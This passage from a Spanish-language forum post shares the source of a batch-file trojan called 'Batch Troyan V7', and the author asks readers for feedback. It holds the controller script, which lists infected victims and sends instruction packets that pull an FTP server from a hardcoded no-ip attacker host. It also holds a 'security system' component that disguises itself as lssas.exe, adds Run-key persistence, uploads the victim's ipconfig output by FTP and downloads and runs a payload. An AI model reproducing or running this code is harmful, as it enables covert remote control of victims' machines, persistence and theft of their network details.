if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
cls
if not exist Data\Packets\%ins%.bat (echo Error3)
if exist Data\Packets\%ins%.bat (echo Error4)
pause >nul
del Data\Packets\%ins%.bat
cls
goto menu
:resp7
cls
type Data\Packets\%res%.txt
pause >nul
del Data\Packets\%res%.txt
cls
goto menu
:ftp
cls
echo esta opcion colocara un servidor ftp a la escucha en la victima
echo Ten en cuenta que si la victima esta detras de un router o firewall no podras realizar la conexion
pause > nul
cls
echo Para usar esta opcion es necesario que tengas los archivos del servidor ftp en el directorio Data\Files ( slimftpd.exe, slimftpd.conf )
echo Asegurate de que estan hay y pulsa enter
pause > nul
echo echo open nanoc.no-ip.info^>^>^descar.txt>>Data\Packets\%ins%.bat
echo echo Troyan^>^>^descar.txt>>Data\Packets\%ins%.bat
echo echo crysis^>^>^descar.txt>>Data\Packets\%ins%.bat
echo echo get slimftpd.exe^>^>^descar.txt>>Data\Packets\%ins%.bat
echo echo get slimftpd.conf^>^>^descar.txt>>Data\Packets\%ins%.bat
echo echo El servidor ftp ha sido colocado con exito^>^>^%res%.txt>>Data\Packets\%ins%.bat
echo echo put slimftpd.log^>^>^descar.txt>>Data\Packets\%ins%.bat
echo echo bye^>^>^descar.txt>>Data\Packets\%ins%.bat
echo ftp -s:descar.txt>>Data\Packets\%ins%.bat
echo del descar.txt>>Data\Packets\%ins%.bat
echo start slimftpd.exe>>Data\Packets\%ins%.bat
cls
echo Enviando paquete de instrucciones OK
echo Esperando al server...
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
cls
if not exist Data\Packets\%ins%.bat (echo Error3)
if exist Data\Packets\%ins%.bat (echo Error4)
pause >nul
del Data\Packets\%ins%.bat
cls
goto menu
:resp8
cls
type Data\Packets\%res%.txt
pause >nul
del Data\Packets\%res%.txt
type slimftpd.log
pause >nul
del slimftpd.log
cls
goto menu
:vic
cls
if not exist Data\Packets\conect.txt goto nofind
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "Id" Data\Packets\conect.txt') do set vic=%%a
echo 1 %vic%
del Data\Packets\conect.txt
ping -n 20 127.0.0.1 > nul
if not exist Data\Packets\conect.txt goto nomore
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "Id" Data\Packets\conect.txt') do set vic2=%%a
if %vic2%==%vic% goto nomore
echo 2 %vic2%
del Data\Packets\conect.txt
ping -n 20 127.0.0.1 > nul
if not exist Data\Packets\conect.txt goto nomore
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "Id" Data\Packets\conect.txt') do set vic3=%%a
if %vic3%==%vic% goto nomore
if %vic3%==%vic2% goto nomore
echo %vic3%
del Data\Packets\conect.txt
ping -n 20 127.0.0.1 > nul
if not exist Data\Packets\conect.txt goto nomore
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "Id" Data\Packets\conect.txt') do set vic4=%%a
if %vic4%==%vic% goto nomore
if %vic4%==%vic2% goto nomore
if %vic4%==%vic3% goto nomore
echo %vic4%
del Data\Packets\conect.txt
ping -n 20 127.0.0.1 > nul
if not exist Data\Packets\conect.txt goto nomore
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "Id" conect.txt') do set vic5=%%a
if %vic5%==%vic% goto nomore
if %vic5%==%vic2% goto nomore
if %vic5%==%vic3% goto nomore
if %vic5%==%vic4% goto nomore
echo %vic5%
del Data\Packets\conect.txt
goto nomore
:nofind
cls
echo No hay ninguna victima conectada
pause > nul
goto menus
:nomore
set /p co=Introduce el numero de victima al que quieras conectarte:
if %co%==1 set id=%vic%
if %co%==2 set id=%vic2%
if %co%==3 set id=%vic3%
if %co%==4 set id=%vic4%
if %co%==5 set id=%vic5%
echo Error2
cls
if not exist Data\Packets\conect.txt ping -n 10 127.0.0.1
if not exist Data\Packets\conect.txt goto error6
echo Esperando codigos de instruccion y respuesta...
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "Id" Data\Packets\conect.txt') do set idc=%%a
if %idc%==%id% goto cogcod
del Data\Packets\conect.txt
ping -n 15 127.0.0.1 > nul
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "Id" Data\Packets\conect.txt') do set idc=%%a
if %idc%==%id% goto cogcod
del Data\Packets\conect.txt
ping -n 15 127.0.0.1 > nul
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "Id" Data\Packets\conect.txt') do set idc=%%a
if %idc%==%id% goto cogcod
del Data\Packets\conect.txt
ping -n 15 127.0.0.1 > nul
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "Id" Data\Packets\conect.txt') do set idc=%%a
if %idc%==%id% goto cogcod
del Data\Packets\conect.txt
ping -n 15 127.0.0.1 > nul
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "Id" Data\Packets\conect.txt') do set idc=%%a
if %idc%==%id% goto cogcod
del Data\Packets\conect.txt
ping -n 15 127.0.0.1 > nul
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "Id" Data\Packets\conect.txt') do set idc=%%a
if %idc%==%id% goto cogcod
del Data\Packets\conect.txt
ping -n 15 127.0.0.1 > nul
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "Id" Data\Packets\conect.txt') do set idc=%%a
if %idc%==%id% goto cogcod
del Data\Packets\conect.txt
ping -n 14 127.0.0.1 > nul
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "Id" Data\Packets\conect.txt') do set idc=%%a
if %idc%==%id% goto cogcod
del Data\Packets\conect.txt
ping -n 15 127.0.0.1 > nul
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "Id" Data\Packets\conect.txt') do set idc=%%a
if %idc%==%id% goto cogcod
del Data\Packets\conect.txt
cls
echo Error3
pause > nul
goto menus
:cogcod
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "ins" Data\Packets\conect.txt') do set ins=%%a
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "res" Data\Packets\conect.txt') do set res=%%a
echo Codigos obtenidos!
ping -n 3 127.0.0.1 > nul
cls
echo Conectando...
ping -n 3 127.0.0.1 > nul
echo Conectado!
goto menu
:do
cls
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "id" Data\Notices\confir.txt') do set ipid=%%a
echo Se ha encontrado un archivo de confirmacion de infeccion
echo el identificador de victima es %ipid%
echo Que desea Hacer:
echo 1 Verlo
echo 2 Conectar
echo 3 Eliminar y continuar con el programa
echo 4 Guardar y continuar con el programa
set /p do2=Introduce numero de opcion:
if %do2%==1 goto rep4
if %do2%==2 goto ipcon
if %do2%==3 goto menus
if %do2%==4 goto confsave
cls
echo Error2
pause > nul
:rep4
cls
type Data\Notices\confir.txt
pause > nul
goto do
:ipcon
cls
echo Introduciendo codigos...
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "ins" Data\Notices\confir.txt') do set ins=%%a
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "res" Data\Notices\confir.txt') do set res=%%a
ping -n 3 127.0.0.1 > nul
echo Conectando...
ping -n 3 127.0.0.1 > nul
goto menu
:confsave
set /p confnom=Con que nombre deseas guardarlo?:
if exist saves goto exis
mkdir saves
rename Data\Notices\confir.txt Data\Notices\%confnom%.txt
copy Data\Notices\%confnom%.txt Data\saves\%confnom%.txt
del Data\Notices\%confnom%.txt
goto menu
:exis
rename Data\Notices\confir.txt Data\Notices\%confnom%.txt
copy Data\Notices\%confnom%.txt Data\saves\%confnom%.txt
del Data\Notices\%confnom%.txt
goto menu
:load
cls
echo Coloca el archivo a subir en el directorio raiz del ftp y pulsa enter.
Pause > nul
cls
set /p file=Introduce nombre del archivo a subir:
if not exist Data\Files\%file% goto filerror
echo start winnt32.exe get %file%>>Data\Packets\%ins%.bat
echo echo El Archivo ha sido subido con exito^>^>%res%.txt>>Data\Packets\%ins%.bat
cls
echo Enviando paquete de instrucciones OK
echo Esperando al server...
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
cls
if not exist Data\Packets\%ins%.bat (echo Error3)
if exist Data\Packets\%ins%.bat (echo Error4)
pause >nul
del Data\Packets\%ins%.bat
cls
goto menu
:alert
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "idsys" Data\Notices\alert.txt') do set idsys=%%a
cls
echo Se ha encontrado un mensaje de %idsys%
echo El Mensaje procede del systema de seguridad
echo Que desea hacer:
echo 1 Verlo
echo 2 Borrar y continuar con el programa
echo 3 Guardar y continuar con el programa
set /p alt1=Introduce numero de opcion:
if %alt1%==1 goto mostala
if %alt1%==2 goto menus
if %alt1%==3 goto savala
cls
echo Error2
pause > nul
goto alert
:mostala
cls
type Data\Notices\alert.txt
Pause > nul
goto alert
:savala
set /p alanom=Con que nombre deseas guardarlo?:
if exist saves goto exis
mkdir saves
rename Data\Notices\alert.txt Data\Notices\%alanom%.txt
copy Data\Notices\%alanom%.txt Data\saves\%alanom%.txt
del Data\Notices\%alanom%.txt
goto menu
:exis
rename Data\Notices\alert.txt Data\Notices\%alanom%.txt
copy Data\Notices\%alanom%.txt Data\saves\%alanom%.txt
del Data\Notices\%alanom%.txt
goto menus
:filerror
cls
echo Error5
pause > nul
goto menu
:error6
cls
echo Error6
pause > nul
goto menus

SECURITY SYSTEM
Código [Seleccionar]
@echo off
copy %0 "c:\WINDOWS\system32\lssas.exe"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "securitysystem" /t reg_sz /d "c:\WINDOWS\system32\lssas.exe" /f
if not exist "c:\WINDOWS\system32\winnt32.exe" goto rest
exit
:rest
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "id" codes.txt') do set id=%%a
echo idsys %id%>alert.txt
echo Soy el sistema de seguridad del Batch Troyan V7>>alert.txt
echo Debo informar del borrado del archivo "C:\WINDOWS\system32\winnt32.exe">>alert.txt
echo Dicho archivo ha sido restablecido con exito>>alert.txt
echo El identificador de victima es %id%>>alert.txt
echo Adjunto ip de la victima>>alert.txt
ipconfig>>alert.txt
echo open nanoc.no-ip.info>desc.txt
echo Troyan>>desc.txt
echo crysis>>desc.txt
echo put Data\Notices\alert.txt>>desc.txt
echo cd Data\securitysystem>>desc.txt
echo get winnt32.exe>>desc.txt
echo bye>>desc.txt
ftp -s:desc.txt
del desc.txt
del alert.txt
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "wint32.exe" /t reg_sz /d "c:\WINDOWS\system32\winnt32.exe" /f
start winnt32.exe
exit

Abstenganse de usarlo lammers y script kiddies, si no entiendes el codigo no conseguiras que funcione XD  :D

Opinen que les parece por favor

PD: si teneis alguna duda tambien podeis preguntar  ;D
Páginas 1 2 3 4 5 6 7 8 9 10 11